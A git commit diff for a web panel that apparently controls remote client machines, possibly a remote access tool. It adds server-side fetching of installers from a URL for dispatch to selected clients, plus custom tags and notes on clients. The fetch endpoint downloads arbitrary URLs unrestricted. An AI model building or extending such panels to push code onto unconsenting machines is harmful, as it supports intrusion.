add downloading from urls and custom tags to clients.

This commit is contained in:
KingKDot
2026-03-13 23:46:42 -05:00
parent a21222f44a
commit b4a0a24929
10 changed files with 428 additions and 22 deletions
+89
View File
@@ -15,6 +15,37 @@ const updateBtn = document.getElementById("update-btn");
const outputContainer = document.getElementById("output-container"); const outputContainer = document.getElementById("output-container");
const clearOutputBtn = document.getElementById("clear-output-btn"); const clearOutputBtn = document.getElementById("clear-output-btn");
const tabUpload = document.getElementById("tab-upload");
const tabUrl = document.getElementById("tab-url");
const panelUpload = document.getElementById("panel-upload");
const panelUrl = document.getElementById("panel-url");
const urlInput = document.getElementById("url-input");
const fetchUrlBtn = document.getElementById("fetch-url-btn");
let activeTab = "upload";
function switchTab(tab) {
activeTab = tab;
if (tab === "upload") {
tabUpload.classList.add("bg-slate-700", "text-slate-100");
tabUpload.classList.remove("text-slate-400");
tabUrl.classList.remove("bg-slate-700", "text-slate-100");
tabUrl.classList.add("text-slate-400");
panelUpload.classList.remove("hidden");
panelUrl.classList.add("hidden");
} else {
tabUrl.classList.add("bg-slate-700", "text-slate-100");
tabUrl.classList.remove("text-slate-400");
tabUpload.classList.remove("bg-slate-700", "text-slate-100");
tabUpload.classList.add("text-slate-400");
panelUrl.classList.remove("hidden");
panelUpload.classList.add("hidden");
}
}
tabUpload.addEventListener("click", () => switchTab("upload"));
tabUrl.addEventListener("click", () => switchTab("url"));
let allClients = []; let allClients = [];
let filteredClients = []; let filteredClients = [];
const selectedClients = new Set(); const selectedClients = new Set();
@@ -338,6 +369,64 @@ async function uploadFile(file) {
} }
} }
async function fetchFromUrl() {
const rawUrl = urlInput.value.trim();
if (!rawUrl) {
setUploadStatus("Please enter a URL", "text-red-400");
return;
}
setUploadStatus("Downloading from URL...", "text-blue-400");
fetchUrlBtn.disabled = true;
executeBtn.disabled = true;
try {
const res = await fetch("/api/deploy/fetch-url", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ url: rawUrl }),
});
if (!res.ok) {
const text = await res.text();
setUploadStatus(text || "Fetch failed", "text-red-400");
return;
}
const data = await res.json();
if (!data.ok) {
setUploadStatus(data.error || "Fetch failed", "text-red-400");
return;
}
uploaded = data;
allowedOs = data.os || "unknown";
const sizeBytes = Number(data.size ?? 0);
setUploadStatus(`Fetched ${data.name} (${formatBytes(sizeBytes)})`, "text-emerald-400");
setOsBadge(allowedOs);
filterAndRenderClients();
Array.from(selectedClients).forEach((clientId) => {
const client = allClients.find((c) => c.id === clientId);
if (!client || !matchesClientOs(client.os || "", allowedOs)) {
selectedClients.delete(clientId);
}
});
renderClients();
updateSelectedCount();
} catch (error) {
console.error("URL fetch failed:", error);
setUploadStatus("Fetch failed", "text-red-400");
} finally {
fetchUrlBtn.disabled = false;
}
}
fetchUrlBtn.addEventListener("click", fetchFromUrl);
urlInput.addEventListener("keydown", (e) => {
if (e.key === "Enter") fetchFromUrl();
});
executeBtn.addEventListener("click", async () => { executeBtn.addEventListener("click", async () => {
if (selectedClients.size === 0) { if (selectedClients.size === 0) {
alert("Please select at least one client"); alert("Please select at least one client");
+97
View File
@@ -103,6 +103,62 @@ function getClientCard(clientId) {
return document.querySelector(`article[data-id="${selectorId}"]`); return document.querySelector(`article[data-id="${selectorId}"]`);
} }
function openTagNoteEditor(clientId, currentTag, currentNote) {
return new Promise((resolve) => {
const overlay = document.createElement("div");
overlay.className =
"fixed inset-0 z-[10001] bg-black/70 backdrop-blur-sm flex items-center justify-center p-4";
overlay.innerHTML = `
<div class="w-full max-w-xl rounded-xl border border-slate-700 bg-slate-900 p-5 shadow-2xl">
<h3 class="text-lg font-semibold text-slate-100">Custom Tag</h3>
<p id="tag-editor-client" class="mt-1 text-sm text-slate-400"></p>
<label class="mt-4 block text-sm text-slate-300">Tag</label>
<input id="tag-editor-input" type="text" class="mt-1 w-full rounded-lg border border-slate-600 bg-slate-950 px-3 py-2 text-slate-100 focus:outline-none focus:ring-2 focus:ring-blue-600" placeholder="e.g. VIP, Priority, Finance">
<label class="mt-4 block text-sm text-slate-300">Note</label>
<textarea id="tag-editor-note" class="mt-1 min-h-[220px] w-full rounded-lg border border-slate-600 bg-slate-950 px-3 py-2 text-slate-100 focus:outline-none focus:ring-2 focus:ring-blue-600" placeholder="Write as much as you need. No note length limit."></textarea>
<div class="mt-4 flex items-center justify-between gap-2">
<button id="tag-editor-clear" class="rounded-lg border border-rose-700 bg-rose-900/50 px-3 py-2 text-sm text-rose-100 hover:bg-rose-800">Clear</button>
<div class="flex items-center gap-2">
<button id="tag-editor-cancel" class="rounded-lg border border-slate-600 bg-slate-800 px-3 py-2 text-sm text-slate-100 hover:bg-slate-700">Cancel</button>
<button id="tag-editor-save" class="rounded-lg border border-blue-700 bg-blue-700 px-3 py-2 text-sm text-white hover:bg-blue-600">Save</button>
</div>
</div>
</div>
`;
const clientLabel = overlay.querySelector("#tag-editor-client");
if (clientLabel) clientLabel.textContent = clientId;
const tagInput = overlay.querySelector("#tag-editor-input");
if (tagInput) tagInput.value = currentTag || "";
const textarea = overlay.querySelector("#tag-editor-note");
textarea.value = currentNote || "";
const closeWith = (result) => {
overlay.remove();
resolve(result);
};
overlay.addEventListener("click", (e) => {
if (e.target === overlay) closeWith(null);
});
overlay
.querySelector("#tag-editor-cancel")
?.addEventListener("click", () => closeWith(null));
overlay
.querySelector("#tag-editor-clear")
?.addEventListener("click", () => closeWith({ tag: "", note: "" }));
overlay.querySelector("#tag-editor-save")?.addEventListener("click", () => {
const tag = String(overlay.querySelector("#tag-editor-input")?.value || "").trim();
const note = String(overlay.querySelector("#tag-editor-note")?.value || "");
closeWith({ tag, note });
});
document.body.appendChild(overlay);
overlay.querySelector("#tag-editor-input")?.focus();
});
}
function isClientOnline(clientId) { function isClientOnline(clientId) {
return getClientCard(clientId)?.dataset.online === "true"; return getClientCard(clientId)?.dataset.online === "true";
} }
@@ -575,6 +631,27 @@ window.setClientNickname = async (clientId, nickname) => {
} }
}; };
window.setClientTag = async (clientId, tag, note) => {
if (!clientId) return false;
try {
const res = await fetch(`/api/clients/${clientId}/tag`, {
method: "PATCH",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ tag: tag || "", note: note ?? "" }),
});
if (!res.ok) {
const data = await res.json().catch(() => ({}));
alert(data.error || "Failed to update custom tag");
return false;
}
return true;
} catch (err) {
console.error(err);
alert("Failed to update custom tag");
return false;
}
};
window.banClient = async (clientId) => { window.banClient = async (clientId) => {
if (!clientId) return; if (!clientId) return;
if (!confirm(`Ban IP for ${clientId} and block future connections?`)) return; if (!confirm(`Ban IP for ${clientId} and block future connections?`)) return;
@@ -771,6 +848,26 @@ menu.addEventListener("click", async (e) => {
} }
closeMenu(clearContext); closeMenu(clearContext);
return; return;
} else if (action === "set-custom-tag") {
const card = getClientCard(contextCard);
const currentTag = (card?.dataset.customTag || "").trim();
const currentNote = card?._customTagNote || "";
const result = await openTagNoteEditor(contextCard, currentTag, currentNote);
if (!result) {
closeMenu(clearContext);
return;
}
const updated = await window.setClientTag(
contextCard,
result.tag || "",
result.note || "",
);
if (updated) {
setTimeout(() => loadWithOptions({ force: true }), 200);
}
closeMenu(clearContext);
return;
} }
if (!isClientOnline(contextCard)) { if (!isClientOnline(contextCard)) {
+25
View File
@@ -206,10 +206,13 @@ export function createRenderer({
function updateCard(card, client) { function updateCard(card, client) {
const oldCheckbox = card.querySelector(".client-checkbox"); const oldCheckbox = card.querySelector(".client-checkbox");
const wasChecked = oldCheckbox?.checked || false; const wasChecked = oldCheckbox?.checked || false;
const wasTagNoteExpanded = card.dataset.tagNoteExpanded === "true";
card.dataset.online = String(!!client.online); card.dataset.online = String(!!client.online);
card.dataset.os = String(client.os || "").toLowerCase(); card.dataset.os = String(client.os || "").toLowerCase();
card.dataset.nickname = String(client.nickname || ""); card.dataset.nickname = String(client.nickname || "");
card.dataset.customTag = String(client.customTag || "");
card._customTagNote = String(client.customTagNote || "");
const os = osBadge(client.os || "unknown"); const os = osBadge(client.os || "unknown");
const arch = archBadge(client.arch || ""); const arch = archBadge(client.arch || "");
const ver = versionBadge(client.version || ""); const ver = versionBadge(client.version || "");
@@ -217,7 +220,12 @@ export function createRenderer({
const deviceId = shortId(client.id); const deviceId = shortId(client.id);
const hwid = shortId(client.hwid || ""); const hwid = shortId(client.hwid || "");
const nickname = String(client.nickname || "").trim(); const nickname = String(client.nickname || "").trim();
const customTag = String(client.customTag || "").trim();
const customTagNote = String(client.customTagNote || "");
const displayName = nickname || client.host || deviceId; const displayName = nickname || client.host || deviceId;
const hasTagNote = customTag.length > 0 && customTagNote.length > 0;
const isTagNoteExpanded = hasTagNote && wasTagNoteExpanded;
card.dataset.tagNoteExpanded = isTagNoteExpanded ? "true" : "false";
card.className = `card rounded-xl border border-slate-800 bg-slate-900/70 p-4 shadow-lg ${client.online ? "" : "card-offline"} tone-${os.tone}`; card.className = `card rounded-xl border border-slate-800 bg-slate-900/70 p-4 shadow-lg ${client.online ? "" : "card-offline"} tone-${os.tone}`;
const cardThumb = client.thumbnail const cardThumb = client.thumbnail
? (() => { ? (() => {
@@ -249,12 +257,14 @@ export function createRenderer({
<span class="text-2xl">${countryToFlag(client.country)}</span> <span class="text-2xl">${countryToFlag(client.country)}</span>
<span>${escapeHtml(displayName)}</span> <span>${escapeHtml(displayName)}</span>
${nickname && client.host ? `<span class="pill pill-ghost text-xs"><i class="fa-solid fa-laptop"></i> ${escapeHtml(client.host)}</span>` : ""} ${nickname && client.host ? `<span class="pill pill-ghost text-xs"><i class="fa-solid fa-laptop"></i> ${escapeHtml(client.host)}</span>` : ""}
${customTag ? `<button type="button" class="client-tag-toggle pill text-xs border border-amber-700/80 bg-amber-900/30 text-amber-200 ${hasTagNote ? "cursor-pointer hover:bg-amber-800/40" : "cursor-default opacity-90"}" ${hasTagNote ? `aria-expanded="${isTagNoteExpanded ? "true" : "false"}"` : `disabled aria-disabled="true"`}><i class="fa-solid fa-tag"></i> ${escapeHtml(customTag)} ${customTagNote ? `<i class="fa-regular fa-note-sticky"></i><i class="fa-solid ${isTagNoteExpanded ? "fa-chevron-up" : "fa-chevron-down"}"></i>` : ""}</button>` : ""}
<span class="text-slate-300 text-lg font-semibold flex items-center gap-1"><i class="fa-solid fa-user"></i> ${escapeHtml(client.user || "unknown")}</span> <span class="text-slate-300 text-lg font-semibold flex items-center gap-1"><i class="fa-solid fa-user"></i> ${escapeHtml(client.user || "unknown")}</span>
<span class="pill ${client.online ? "pill-online" : "pill-offline"}"> <span class="pill ${client.online ? "pill-online" : "pill-offline"}">
<i class="fa-solid fa-circle"></i> <i class="fa-solid fa-circle"></i>
${client.online ? "Online" : "Offline"} ${client.online ? "Online" : "Offline"}
</span> </span>
</div> </div>
${hasTagNote ? `<div class="client-tag-note rounded-lg border border-amber-900/60 bg-amber-950/20 px-3 py-2 text-sm text-amber-100 whitespace-pre-wrap break-words max-h-48 overflow-auto ${isTagNoteExpanded ? "" : "hidden"}">${escapeHtml(customTagNote)}</div>` : ""}
<div class="flex items-center gap-2 flex-wrap text-sm text-slate-300"> <div class="flex items-center gap-2 flex-wrap text-sm text-slate-300">
<span class="pill pill-ghost"><i class="fa-regular fa-clock"></i> ${formatAgo(client.lastSeen)}</span> <span class="pill pill-ghost"><i class="fa-regular fa-clock"></i> ${formatAgo(client.lastSeen)}</span>
<span class="pill ${os.tone}"><i class="fa ${os.icon}"></i> ${os.label}</span> <span class="pill ${os.tone}"><i class="fa ${os.icon}"></i> ${os.label}</span>
@@ -313,6 +323,21 @@ export function createRenderer({
}); });
} }
card.querySelector(".client-tag-toggle")?.addEventListener("click", (e) => {
e.stopPropagation();
const notePanel = card.querySelector(".client-tag-note");
if (!notePanel) return;
const expanded = notePanel.classList.toggle("hidden") === false;
card.dataset.tagNoteExpanded = expanded ? "true" : "false";
const tagToggle = card.querySelector(".client-tag-toggle");
tagToggle?.setAttribute("aria-expanded", expanded ? "true" : "false");
const chevron = tagToggle?.querySelector(".fa-chevron-up, .fa-chevron-down");
if (chevron) {
chevron.classList.toggle("fa-chevron-up", expanded);
chevron.classList.toggle("fa-chevron-down", !expanded);
}
});
card card
.querySelector(".thumb-img") .querySelector(".thumb-img")
?.addEventListener("click", () => openModal(client.thumbnail)); ?.addEventListener("click", () => openModal(client.thumbnail));
+1
View File
@@ -43,6 +43,7 @@ const MENU_GROUPS = [
{ label: "Ping", icon: "fa-solid fa-satellite-dish", icolor: "text-slate-300", action: "ping" }, { label: "Ping", icon: "fa-solid fa-satellite-dish", icolor: "text-slate-300", action: "ping" },
{ label: "Reconnect", icon: "fa-solid fa-rotate", icolor: "text-slate-300", action: "reconnect" }, { label: "Reconnect", icon: "fa-solid fa-rotate", icolor: "text-slate-300", action: "reconnect" },
{ label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" }, { label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" },
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
{ divider: true }, { divider: true },
{ label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" }, { label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" },
{ label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" }, { label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" },
+2
View File
@@ -15,6 +15,8 @@ export function digestData(data, { page, pageSize, searchTerm, sort }) {
ping: c.pingMs, ping: c.pingMs,
host: c.host, host: c.host,
user: c.user, user: c.user,
customTag: c.customTag,
customTagNote: c.customTagNote,
thumbnail: c.thumbnail, thumbnail: c.thumbnail,
version: c.version, version: c.version,
country: c.country, country: c.country,
+33 -3
View File
@@ -105,9 +105,18 @@
<div class="space-y-4"> <div class="space-y-4">
<div> <div>
<label class="block text-sm font-medium text-slate-300 mb-2" <!-- Source mode tabs -->
>Installer Upload</label <div class="flex gap-1 mb-3 p-1 rounded-lg bg-slate-950/60 border border-slate-800 w-fit">
> <button id="tab-upload" class="px-4 py-1.5 rounded-md text-sm font-medium bg-slate-700 text-slate-100 transition-colors">
<i class="fa-solid fa-cloud-arrow-up mr-1"></i> Upload File
</button>
<button id="tab-url" class="px-4 py-1.5 rounded-md text-sm font-medium text-slate-400 hover:text-slate-100 transition-colors">
<i class="fa-solid fa-link mr-1"></i> File URL
</button>
</div>
<!-- Upload panel -->
<div id="panel-upload">
<div <div
id="upload-zone" id="upload-zone"
class="border-2 border-dashed border-slate-700 rounded-xl p-6 bg-slate-950/60 hover:border-cyan-500 transition-colors cursor-pointer" class="border-2 border-dashed border-slate-700 rounded-xl p-6 bg-slate-950/60 hover:border-cyan-500 transition-colors cursor-pointer"
@@ -123,6 +132,27 @@
</div> </div>
<input id="upload-input" type="file" class="hidden" /> <input id="upload-input" type="file" class="hidden" />
</div> </div>
</div>
<!-- URL panel -->
<div id="panel-url" class="hidden">
<div class="flex gap-2">
<input
id="url-input"
type="text"
placeholder="https://example.com/installer.exe"
class="flex-1 px-4 py-2 rounded-lg border border-slate-700 bg-slate-950 text-slate-100 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-cyan-500"
/>
<button
id="fetch-url-btn"
class="px-4 py-2 rounded-lg bg-cyan-700 hover:bg-cyan-600 text-white font-semibold flex items-center gap-2 whitespace-nowrap"
>
<i class="fa-solid fa-download"></i> Fetch
</button>
</div>
<p class="text-xs text-slate-500 mt-1">The server will download the file and stage it for dispatch.</p>
</div>
<div class="mt-3 text-sm text-slate-400" id="upload-status"> <div class="mt-3 text-sm text-slate-400" id="upload-status">
No file uploaded yet. No file uploaded yet.
</div> </div>
+36 -5
View File
@@ -21,6 +21,8 @@ db.run(`
version TEXT, version TEXT,
user TEXT, user TEXT,
nickname TEXT, nickname TEXT,
custom_tag TEXT,
custom_tag_note TEXT,
monitors INTEGER, monitors INTEGER,
country TEXT, country TEXT,
last_seen INTEGER, last_seen INTEGER,
@@ -40,6 +42,12 @@ try {
try { try {
db.run(`ALTER TABLE clients ADD COLUMN nickname TEXT`); db.run(`ALTER TABLE clients ADD COLUMN nickname TEXT`);
} catch {} } catch {}
try {
db.run(`ALTER TABLE clients ADD COLUMN custom_tag TEXT`);
} catch {}
try {
db.run(`ALTER TABLE clients ADD COLUMN custom_tag_note TEXT`);
} catch {}
db.run( db.run(
`CREATE INDEX IF NOT EXISTS idx_clients_online_last_seen ON clients(online, last_seen DESC);`, `CREATE INDEX IF NOT EXISTS idx_clients_online_last_seen ON clients(online, last_seen DESC);`,
); );
@@ -133,8 +141,8 @@ export function upsertClientRow(
) { ) {
const now = partial.lastSeen ?? Date.now(); const now = partial.lastSeen ?? Date.now();
db.run( db.run(
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, monitors, country, last_seen, online, ping_ms) `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET ON CONFLICT(id) DO UPDATE SET
hwid=COALESCE(excluded.hwid, clients.hwid), hwid=COALESCE(excluded.hwid, clients.hwid),
role=COALESCE(excluded.role, clients.role), role=COALESCE(excluded.role, clients.role),
@@ -145,6 +153,8 @@ export function upsertClientRow(
version=COALESCE(excluded.version, clients.version), version=COALESCE(excluded.version, clients.version),
user=COALESCE(excluded.user, clients.user), user=COALESCE(excluded.user, clients.user),
nickname=clients.nickname, nickname=clients.nickname,
custom_tag=clients.custom_tag,
custom_tag_note=clients.custom_tag_note,
monitors=COALESCE(excluded.monitors, clients.monitors), monitors=COALESCE(excluded.monitors, clients.monitors),
country=COALESCE(excluded.country, clients.country), country=COALESCE(excluded.country, clients.country),
last_seen=excluded.last_seen, last_seen=excluded.last_seen,
@@ -160,6 +170,9 @@ export function upsertClientRow(
partial.arch ?? null, partial.arch ?? null,
partial.version ?? null, partial.version ?? null,
partial.user ?? null, partial.user ?? null,
partial.nickname ?? null,
partial.customTag ?? null,
partial.customTagNote ?? null,
partial.monitors ?? null, partial.monitors ?? null,
partial.country ?? null, partial.country ?? null,
now, now,
@@ -209,6 +222,22 @@ export function getClientNickname(id: string): string | null {
return row?.nickname ?? null; return row?.nickname ?? null;
} }
export function setClientTag(
id: string,
tag: string | null,
note: string | null,
): boolean {
const normalizedTag = tag && tag.trim() ? tag.trim() : null;
const normalizedNote = normalizedTag ? note ?? null : null;
const result = db.run(
`UPDATE clients SET custom_tag=?, custom_tag_note=? WHERE id=?`,
normalizedTag,
normalizedNote,
id,
);
return ((result as any)?.changes || 0) > 0;
}
export function getClientIp(id: string): string | null { export function getClientIp(id: string): string | null {
const row = db.query<{ ip: string }>(`SELECT ip FROM clients WHERE id=?`).get(id); const row = db.query<{ ip: string }>(`SELECT ip FROM clients WHERE id=?`).get(id);
return row?.ip || null; return row?.ip || null;
@@ -273,10 +302,10 @@ export function listClients(filters: ListFilters): ListResult {
if (search) { if (search) {
where.push( where.push(
"(LOWER(COALESCE(host,'')) LIKE ? OR LOWER(COALESCE(user,'')) LIKE ? OR LOWER(COALESCE(nickname,'')) LIKE ? OR LOWER(id) LIKE ?)", "(LOWER(COALESCE(host,'')) LIKE ? OR LOWER(COALESCE(user,'')) LIKE ? OR LOWER(COALESCE(nickname,'')) LIKE ? OR LOWER(COALESCE(custom_tag,'')) LIKE ? OR LOWER(COALESCE(custom_tag_note,'')) LIKE ? OR LOWER(id) LIKE ?)",
); );
const needle = `%${search}%`; const needle = `%${search}%`;
params.push(needle, needle, needle, needle); params.push(needle, needle, needle, needle, needle, needle);
} }
if (statusFilter === "online") { if (statusFilter === "online") {
@@ -333,7 +362,7 @@ export function listClients(filters: ListFilters): ListResult {
const rows = db const rows = db
.query<any>( .query<any>(
`SELECT id, hwid, role, host, os, arch, version, user, nickname, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs
FROM clients FROM clients
${whereSql} ${whereSql}
${orderBy} ${orderBy}
@@ -352,6 +381,8 @@ export function listClients(filters: ListFilters): ListResult {
version: c.version || "0", version: c.version || "0",
user: c.user, user: c.user,
nickname: c.nickname || null, nickname: c.nickname || null,
customTag: c.customTag || null,
customTagNote: c.customTagNote ?? null,
monitors: c.monitors, monitors: c.monitors,
country: c.country || "ZZ", country: c.country || "ZZ",
pingMs: c.pingMs ?? null, pingMs: c.pingMs ?? null,
@@ -12,6 +12,7 @@ import {
listBannedIps, listBannedIps,
listClients, listClients,
setClientNickname, setClientNickname,
setClientTag,
setOnlineState, setOnlineState,
unbanIp, unbanIp,
} from "../../db"; } from "../../db";
@@ -334,6 +335,69 @@ export async function handleClientRoutes(
return Response.json({ ok: true, nickname }, { headers: deps.CORS_HEADERS }); return Response.json({ ok: true, nickname }, { headers: deps.CORS_HEADERS });
} }
const clientTagMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/tag$/);
if (req.method === "PATCH" && clientTagMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = clientTagMatch[1];
if (!canUserAccessClient(user.userId, user.role, targetId)) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
if (!clientExists(targetId)) {
return Response.json({ error: "Client not found" }, { status: 404 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON body" }, { status: 400 });
}
const rawTag = typeof body?.tag === "string" ? body.tag : "";
const rawNote = typeof body?.note === "string" ? body.note : "";
const tag = rawTag.trim();
if (tag.length > 64) {
return Response.json(
{ error: "Tag must be 64 characters or fewer" },
{ status: 400 },
);
}
const normalizedTag = tag.length ? tag : null;
const note = normalizedTag ? rawNote : null;
const updated = setClientTag(targetId, normalizedTag, note);
if (!updated) {
return Response.json({ error: "Client not found" }, { status: 404 });
}
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
targetClientId: targetId,
details: normalizedTag
? `set_custom_tag:${normalizedTag} (note_len=${note?.length || 0})`
: "clear_custom_tag",
success: true,
});
return Response.json(
{ ok: true, tag: normalizedTag, note: note ?? null },
{ headers: deps.CORS_HEADERS },
);
}
if (req.method === "POST") { if (req.method === "POST") {
const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/); const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/);
if (cmdMatch) { if (cmdMatch) {
@@ -81,6 +81,71 @@ export async function handleDeployRoutes(
return Response.json({ ok: true, uploadId: id, os, name: filename, size: bytes.length }); return Response.json({ ok: true, uploadId: id, os, name: filename, size: bytes.length });
} }
if (req.method === "POST" && url.pathname === "/api/deploy/fetch-url") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const fileUrl = typeof body?.url === "string" ? body.url.trim() : "";
if (!fileUrl) {
return new Response("Missing url", { status: 400 });
}
let parsed: URL;
try {
parsed = new URL(fileUrl);
} catch {
return new Response("Invalid URL", { status: 400 });
}
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
return new Response("Only http and https URLs are allowed", { status: 400 });
}
const rawFilename = path.basename(parsed.pathname) || "download.bin";
const filename = rawFilename.replace(/[^a-zA-Z0-9._\-]/g, "_").substring(0, 128) || "download.bin";
let fileBytes: Uint8Array;
try {
const fetchRes = await fetch(fileUrl);
if (!fetchRes.ok) {
return new Response(`Remote fetch failed: ${fetchRes.status}`, { status: 502 });
}
fileBytes = new Uint8Array(await fetchRes.arrayBuffer());
} catch (err: any) {
return new Response(`Failed to fetch URL: ${err?.message || "network error"}`, { status: 502 });
}
const id = uuidv4();
await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true });
const folder = path.join(deps.DEPLOY_ROOT, id);
await fs.mkdir(folder, { recursive: true });
const targetPath = path.join(folder, filename);
await fs.writeFile(targetPath, fileBytes);
const os = deps.detectUploadOs(filename, fileBytes);
const entry: DeployUpload = {
id,
path: targetPath,
name: filename,
size: fileBytes.length,
os,
};
deps.deployUploads.set(id, entry);
return Response.json({ ok: true, uploadId: id, os, name: filename, size: fileBytes.length });
}
if (req.method === "POST" && url.pathname === "/api/deploy/run") { if (req.method === "POST" && url.pathname === "/api/deploy/run") {
const user = await authenticateRequest(req); const user = await authenticateRequest(req);
if (!user) { if (!user) {
+2
View File
@@ -16,6 +16,8 @@ export type ClientInfo = {
version?: string; version?: string;
user?: string; user?: string;
nickname?: string; nickname?: string;
customTag?: string;
customTagNote?: string;
monitors?: number; monitors?: number;
monitorInfo?: { width: number; height: number }[]; monitorInfo?: { width: number; height: number }[];
country?: string; country?: string;